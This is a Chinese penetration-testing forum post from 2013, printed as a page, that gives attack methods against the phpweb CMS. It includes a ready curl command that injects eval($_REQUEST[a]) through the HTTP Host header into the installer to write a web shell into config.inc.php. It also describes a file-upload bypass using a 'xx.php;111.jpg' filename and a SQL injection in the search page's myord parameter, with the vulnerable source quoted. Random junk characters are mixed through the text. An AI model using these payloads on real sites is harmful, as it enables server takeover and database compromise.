中国网络渗透测试联盟

标题: phpweb成品网站最新版(注入、上传、写shell) [打印本页]

作者: admin    时间: 2013-1-4 19:45
标题: phpweb成品网站最新版(注入、上传、写shell)
注入:
& h4 y( R" i$ _3 M5 v3 N; ?* f, [) T( n5 Z+ f
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
2 V$ c9 R: y. n* ~& S0 l, S' D * z. b* j' [) X' T1 u1 G5 K
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
) ~  G  d' @+ g鸡肋2: 有一定安全常识的站长都会删掉 install 目录% B3 B  {% m1 S  J8 N/ Y
" a6 N0 B; e9 A( v6 K0 x; b% ^2 k0 a( d
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
8 B! j' i* e# r+ k$ Q6 V ) l: H! N3 A2 l+ E- X
分析:
- Y2 F; [& s  o* W, ?5 a; o , @, C0 c0 E9 R
& Z) _8 p5 e1 E% ^- j
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤$ V8 |) ~9 s# R9 B! g+ Q/ ~8 S
  z2 R5 o  l2 }( h- b6 u
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
2 x/ M6 m2 T: q                                            $filestr=str_replace(" ","",$filestr);8 @. T) F  v$ o/ G8 m: l
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);' @- k8 c; l4 e5 B* b
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
  c$ S% M+ _5 K+ o* ^" z) U/ I                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
7 z$ u/ M. w! [1 h8 c                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
+ V; [  B3 H2 N( e- l8 F3 B2 H                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
# ]# x6 X7 N  w" h7 |% D                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);5 |/ Y+ `4 e+ `6 x  i, ?- F6 X5 p: d
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);5 G) W5 L; R( ~# Z
  a9 F3 ]- b7 n( @, z+ u5 _# t
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
0 @8 [  t0 q8 i) q0 d& d; D& S$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^% [% \& N& Q$ {

8 J! k# n& j$ e( b* h4 w0 k: z6 Npoc:
7 H* s* `# P  Z+ T2 S 6 {! q/ A& |9 h2 d
?
# k- D/ w- E* w$ N1
, t4 t7 q  P% b: O! v; S) ?1 ]curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"( T( j1 X* P3 b8 B( \+ D# U9 }
shell地址: /config.inc.php
! I0 `, m4 R7 C3 [' S跟之前的 phpcms一样 需要远程数据库
" p8 x, K- g; Q; \ - g+ }" l+ q; u
——————————————————–
. _: B6 N/ a0 P1 I上传漏洞(需要进后台):! @7 K" W9 `* ~; O4 w
漏洞文件: /kedit/upload_cgi/upload.php
$ m( ?. S6 `. P: P6 D这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用+ u* w( l0 O2 T+ R% A
* \) U- y1 s4 T- C+ q' r. _
- t2 G, Z2 }' |" M
<?php
2 Q, p  y# w2 x- S7 L$ [    define("ROOTPATH", "../../");
1 \2 O, y# n( A7 m    include(ROOTPATH."includes/admin.inc.php");
, f. g7 q6 `0 J% @4 `    NeedAuth(0);& W% G+ T! _  s2 \% `

' W. z" k% ]5 D* i+ W    $dt=date("Ymd",time());
' T- b4 i  d3 Y- @: z    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){- W- ^4 @1 E: Q+ v! c
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
1 s7 |$ [9 F; ^; C( V, D* ?0 }+ V    }
5 z7 b: z" ~) q) \ ) \$ y; @" ~4 }1 o6 f  J
    //文件保存目录路径9 y9 i: O2 U+ `, d3 T: a
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';0 Y5 U: ^* c6 m! @. s5 H
    echo $save_path;6 q( E/ z+ W/ ]- E! d- o2 o
    //文件保存目录URL7 {* g- L5 F) _) J# d! C: O: F
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';' S! C) N" V% G5 k; I' T

9 z, f- a0 `: c1 m% ^* j* |) l  D1 V5 P    //定义允许上传的文件扩展名. O- \" |7 n7 ?1 b
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀# o( c( Y3 ]' {* Q# l8 }
: \4 ]; y/ A+ s" e) ~
    //最大文件大小; W1 I* h0 `6 G' O9 S# x
    $max_size = 1000000;
$ ]/ F: R. V1 B/ B2 ~
8 T$ U. m' E% f" J8 N$ B2 r# g# J    //更改目录权限
2 e' I3 I" i! ^7 z    @mkdir($save_path, 0777);- F, D" @8 j% f% j9 @; @4 V8 [
& v- T3 b. r" {% C- _& j. ?# l' L
    //文件的全部路径
5 k& ~+ K  o4 V( c    $file_path = $save_path.$_POST['fileName'];   //保存文件名
0 }; j; i& c- x% J2 T* y- _; R) s* L 7 s& [/ U; ^! \3 M* u
    //文件URL& G9 S; l' f1 K/ f0 _: n& E
    $file_url = $save_url.$_POST['fileName'];) S. ^. t7 U4 F- _* s* o
//有上传文件时0 a" [/ W9 ^4 w9 W
    if (empty($_FILES) === false) {* r1 b% c' V6 V7 Y
6 O& ^3 [" o+ \, }
            //原文件名
( O, T: p3 y. Z9 h" G3 {  ~5 i( a2 F            $file_name = $_FILES['fileData']['name'];
# L& {$ k, E# r8 s; f7 W            //服务器上临时文件名
5 d1 T! f/ v2 l2 t7 M' C; k            $tmp_name = $_FILES['fileData']['tmp_name'];
- b( S, T) F2 m9 p9 t4 O- U            //文件大小0 j6 ]0 b4 q1 ^' _4 N
            $file_size = $_FILES['fileData']['size'];8 l2 U" M9 v+ L1 I" i, @
            //检查目录
% [) [/ V1 j( q) ~' }            if (@is_dir($save_path) === false) {! I0 q! N% N9 R( j
                    alert("上传目录不存在。");
- A- n6 ?! r$ p- F            }
- L1 Y! T% j: ?: N            //检查目录写权限
* x. V% w5 t" C! @5 O6 N6 Z            if (@is_writable($save_path) === false) {
" R6 B$ P3 j9 Z1 a- ?3 I; W: ]; X# M                    alert("上传目录没有写权限。");5 x: b; }: q: \6 ?2 e  N3 l
            }2 i: @3 s5 G1 [3 y0 `
            //检查是否已上传3 l* r( ^  a5 G' Z2 ~4 w  o/ `
            if (@is_uploaded_file($tmp_name) === false) {
% R' O. Q' k: R' u% v0 `* ]6 l                    alert("临时文件可能不是上传文件。");$ I+ M6 N. U  L5 [; l
            }
5 ?9 P: M5 G# c# p5 U9 O, l+ U# o            //检查文件大小
8 w- ], R, p' a- e/ h, S            if ($file_size > $max_size) {
( d2 }  q; d4 z3 x, T, H                    alert("上传文件大小超过限制。");# P% _) g; L& X( F4 P
            }
/ ?! E3 A/ A1 m  s            //获得文件扩展名
2 ?( P4 g3 T: J8 X/ j( X- j9 i            $temp_arr = explode(".", $_POST['fileName']);1 N$ P2 ?' e/ A: w
            $file_ext = array_pop($temp_arr);
0 w& J4 b2 P  `' f+ F0 U            $file_ext = trim($file_ext);
6 `; z2 d) D) S, o+ {, E+ {            $file_ext = strtolower($file_ext);
3 Z3 s1 h+ z9 E: T; w
; v( I& W! ^5 d, ~! u            //检查扩展名   ) c3 D) U- j9 @; y3 ]
            if (in_array($file_ext, $ext_arr) === false) {     7 x5 |. C" w+ ~2 J6 ]$ {2 V5 ^3 Y; X
                    alert("上传文件扩展名是不允许的扩展名。");# P+ D& t  i3 z8 ^; @( f( q+ D
            }
! L6 N7 L3 V' R- v3 E! [  f " C- r3 y2 D$ b5 P; T
            //移动文件   # c; Q& N) V, j" P
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^- ]& U3 c  J- q9 |
            if (move_uploaded_file($tmp_name, $file_path) === false) {) Z( P: B# F7 O
                    alert("上传文件失败。");# z( \4 [+ S) c8 `, S; u  T
            }6 }4 G# m/ n9 G4 Z% n1 ~  k

+ h4 p) G/ m. `5 F# |2 l) t) e            @chmod($file_path,0666);
) \. A7 l) ^$ `# {: }- [/ z # A" Y! s; Q! u+ E
    ?>
& \2 A6 R( h: J; f抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=2279 i8 |" R' _- P( O- \" t# g6 _
! M  {/ h1 h) Y+ B! I8 R( Y' C0 s
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
/ I& O/ }6 N0 ]8 F
! w! m1 Y4 y; x- O( F8 E/ E' y——————————————————
4 H  X1 d( L+ a6 ]3 x, |1 \+ D注入漏洞:
1 s& a7 o7 }2 X, ~: G漏洞文件:search/module/search.php, ^1 q  ?9 A, Q2 X
/search/index.php?key=1&myord=1 [sqlinjection]- o0 t' |4 N1 e

* |, x9 n3 d! ^- R " |9 l  t4 Z7 S0 g( ]. W( @# G% H7 Y
<?php
" }& n2 f. X) a! u; h2 ?' i, E0 Z   //       ... 省略 n 行...8 l$ |; g& |# E# B2 X+ C) K
   //第18行:# p; M9 @2 h  b7 X+ v: p: e
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响' f  M" S8 ]! E- l& a' m
           $page=htmlspecialchars($_GET["page"]);
3 ^: M3 \; P  s6 R  }           $myord=htmlspecialchars($_GET["myord"]);
  Z" G4 n7 Q! I3 Q" V 0 ^$ k5 ?  h  L1 A- C1 x# [
   //       ... 省略 n 行...+ f9 v1 I7 |/ l; \& u6 w, J
   $key,$myord 两个参数带入查询
/ X  e8 j- h# M) S   //第47行 $key:
* `# N3 ]; W" W3 h + w  C' \! ]: c. U% ]8 e
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
( o' l( N. U7 M7 R: N9 c
& n& e( p# `6 ]) h. s   //第197行 $myord
' B0 [# g; b" N) J" l9 x   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
. G3 R, \3 W( H. k1 |: A
9 v2 E, U( Q7 b7 f% }! L7 Y: X) }   ?>
& A2 N, [! i0 i- B7 O) v& \  d* w: Z+ w




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2